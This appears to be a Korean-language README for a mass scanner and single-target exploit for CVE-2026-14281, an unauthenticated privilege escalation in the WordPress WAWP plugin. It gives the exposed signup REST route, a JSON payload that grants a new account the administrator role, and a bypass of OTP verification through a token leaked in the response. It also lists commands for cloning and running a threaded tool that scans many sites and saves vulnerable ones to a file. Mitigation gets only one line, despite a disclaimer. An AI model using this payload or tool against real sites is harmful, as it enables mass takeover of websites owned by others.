
CVE-2026-14281에 대한 대량 스캐너 및 단일 대상 익스플로잇으로, WordPress Automation Web Platform 플러그인의 REST 가입 기능을 통한 인증되지 않은 권한 상승 취약점입니다.
CVE-2026-14281에 대한 대량 스캐너 + 단일 대상 익스플로잇 — WordPress Automation Web Platform (WAWP) 플러그인
<= 4.8.6의 인증되지 않은 권한 상승 취약점입니다.
WordPress 플러그인 Automation Web Platform (101gen 제작)의 부적절한 권한 관리 (CWE-269)입니다. <= 4.8.6 버전이 영향을 받습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-14281 |
| 유형 | 인증되지 않은 권한 상승 |
| CVSS | 9.8 (CRITICAL) |
| 인증 | 불필요 |
| 영향 범위 | WAWP 플러그인 <= 4.8.6 |
플러그인이 공개 REST 라우트를 노출합니다:
POST /wp-json/wawp/v1/signup/<op>
권한 검사가 없습니다. 핸들러는 공격자가 제어하는 wawp_custom_fields를 update_user_meta()로 복사합니다 — 허용 목록이 없습니다. 공격자는 다음을 설정합니다:
{
"wawp_custom_fields": {
"wp_capabilities": {"administrator": true},
"wp_user_level": "10"
}
}
결과: 새 계정이 administrator 역할을 획득합니다.
OTP 토큰(otp_transient)이 응답 본문에 평문으로 반환됩니다. 해당 토큰으로 GET 요청을 보내면 검증됨으로 표시됩니다 — 이메일/SMS가 필요하지 않습니다.
/wp-json/wawp/v1/signup/에 wp_capabilities: administrator와 함께 페이로드를 POST/wp-login.php에서 로그인/wp-admin/users.php에 접근하여 확인3.7+requests, urllib3git clone https://github.com/yourname/langz-scanner.git
cd langz-scanner
pip install requests urllib3
python3 CVE-2026-14281.py
[1] Mass Scan -> detect many targets, save vuln to txt
[2] Verify Single -> exploit + confirm + auto cleanup
[0] Exit
Mass Scan: 대상 목록 파일, 출력 파일 (기본값 vuln.txt), 스레드 수 (기본값 20)를 입력합니다.
Verify Single: YA를 입력하고 대상 URL을 입력합니다. 도구가 임시 admin을 생성하고, 검증한 후 정리합니다.
vuln.txt에는 확인된 취약한 URL만 한 줄에 하나씩 포함됩니다:
http://target1.com
https://target2.org
4.8.6 이후 버전으로 업데이트/wp-json/wawp/v1/signup/ 차단For AUTHORIZED SECURITY TESTING only.
Do not use against systems you don't own or have permission to test.
The developer assumes no responsibility for misuse.
현명하게 사용하세요. 지식은 파괴가 아닌 보호를 위한 것입니다.